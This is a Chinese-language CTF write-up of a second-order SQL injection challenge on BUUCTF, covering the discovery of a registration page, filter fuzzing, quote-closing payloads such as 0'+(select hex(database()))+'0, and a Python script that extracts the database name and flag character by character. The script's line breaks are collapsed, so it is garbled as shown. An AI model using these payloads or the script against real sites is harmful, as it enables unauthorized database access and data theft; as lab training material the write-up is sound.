目錄
一、前言
二、環境
三、復現
3.1尋找注入點? ? ? ??
3.2嘗試盲注? ? ? ??
3.3正則限制? ? ? ?
3.4腳本注入獲取flag
四、總結
一、前言
? ? ? ? 前兩天復現了一道CTF題目[網鼎杯 2018]Comment,今天繼續來學習一下SQL二次注入。
二、環境
BUUCTF在線評測
三、復現
3.1尋找注入點? ? ? ??
????????進到靶場,是一個登錄頁面,但是又沒有給出或提示賬號密碼等信息。我們找一下有沒有注冊頁面。
? ? ? ? 我使用了AWVS工具來掃一下,找找別的目錄。找到了注冊頁面:register.php
????????先注冊賬號進去看一下,登錄進來以后展示的只有一個注冊的用戶名。
3.2嘗試盲注? ? ? ??
? ? ? ? 展示的只有用戶名,沒有別的了。好像是在注冊的時候把用戶名存在數據庫里面了,然后展示在前端了。那在注冊的時候用戶名應該怎么注冊。是否能夠二次注入,二次注入就是當存儲的時候經過過濾,但是在出庫的時候沒做好過濾導致出現二次注入。既然展示的是注冊的用戶名,那么存入的時候這個用戶名應該怎么注冊?
嘗試構造sql盲注語句?username=bbb' and left(database(),1)>'a'#
bbb' and left(database(),1)>'a'#
????????注冊的用戶名構造的SQL語句是想從左取第一位,如果為真就返回,如果為假就顯示不出來了。但是不能注冊,那么還能盲注嗎?? ?
? ? ? ?
? ? ? ? 好像是注冊的用戶名加入了單引號,被過濾了,直接顯示nonono。
3.3正則限制? ? ? ?
????????現在需要考慮的是這個正則限制了哪些,能不能繞過?
????????BurpSuite提供的有個功能,能夠爆破。通過看返回值我們能看到過濾了什么,現在去GitHub找字典,然后繼續進行操作。這里可以看到information和逗號被過濾了。? ? ? ??
? ? ? ? 知道過濾了什么,那繼續測試注冊賬號。注冊的用戶名,但是還是無法顯示。應該被單引號引起來了,導致沒辦法顯示。現在還是沒逃脫單引號的控制。
select database()
????????怎么逃脫單引號呢?假設語句是這樣的:
insert into users (email, username, password) values ('$email', '$username', '$password');
????????閉合他的單引號,注冊用戶名?0'+select database()+'0?直接注冊不成功,沒跳轉到登錄。
email=666@qq.com&username=0'+select database()+'0&password=666
? ? ? ? 現在發現在進行正常的注冊、登錄操作時。當注冊成功時,系統返回302跳轉到登錄頁面(注冊失敗時系統返回200)登錄時,使用郵箱和密碼登錄,登錄成功后,系統返回302跳轉到index.php頁面,顯示用戶名。登錄時用到的是郵箱和密碼,而注冊時還有一個用戶名,而這個用戶名會在登錄后顯示,所以我們考慮用戶名這里可能存在二次注入 。
? ? ? ? 沒有注冊成功,試試十六進制能否注冊成功
0'+(select hex(database()))+'0
? ? ? ? 報出來數據庫名了?解碼看一下,數據庫名web。
3.4腳本注入獲取flag
????????既然報出庫名了,那下一步就是注入表名和注入列名了。sql注入一般都會用到information_schema這個庫(mysql自帶的庫),禁用掉這個表是一個很好的防御手段,可以使用無列名注入來繞過。
猜測表名直接猜測表名為flag。CTF題目設計慣例默認命名規則:
CTF中Flag通常存儲在名為flag的表或列中(如flag、flags、secret等),這是比賽中的常見設計模式。
繞過信息限制:
當information_schema被過濾時,無法通過系統表查詢數據庫結構,需依賴經驗猜測。
若嘗試flag表名失敗,可繼續測試其他常見表名(如hint、secret)。
import requests
import time
from bs4 import BeautifulSoup def getDatabase():database = ''for i in range(10):data_database = {'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin11@admin.com"+str(i)}#注冊requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_database)login_data={'password':'admin',"email":"admin11@admin.com"+str(i)}response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)html=response.text soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]username=getUsername.textif int(username)==0:breakdatabase+=chr(int(username))return databasedef getFlag():flag = ''for i in range(40):data_flag = {'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin32@admin.com"+str(i)}#注冊requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/register.php",data_flag)login_data={'password':'admin',"email":"admin32@admin.com"+str(i)}response=requests.post("http://898fa743-e239-4b47-abc4-08532b2bbc44.node5.buuoj.cn:81/login.php",login_data)html=response.text soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]username=getUsername.textif int(username)==0:breakflag+=chr(int(username))return flagprint(getDatabase())
print(getFlag())
????????運行結果:flag{228a223c-98f4-421f-ac54-e603170d9485}
四、總結
????????本次學習感受到了在真實環境下確實有很多各式各樣的障礙,在本篇學習的過程中,之前注入都是從infomercial中來注入出表名和列名的。今天學到了如何無列名注入從而繞過infomercial的過濾。下章會更新下無列名的注入。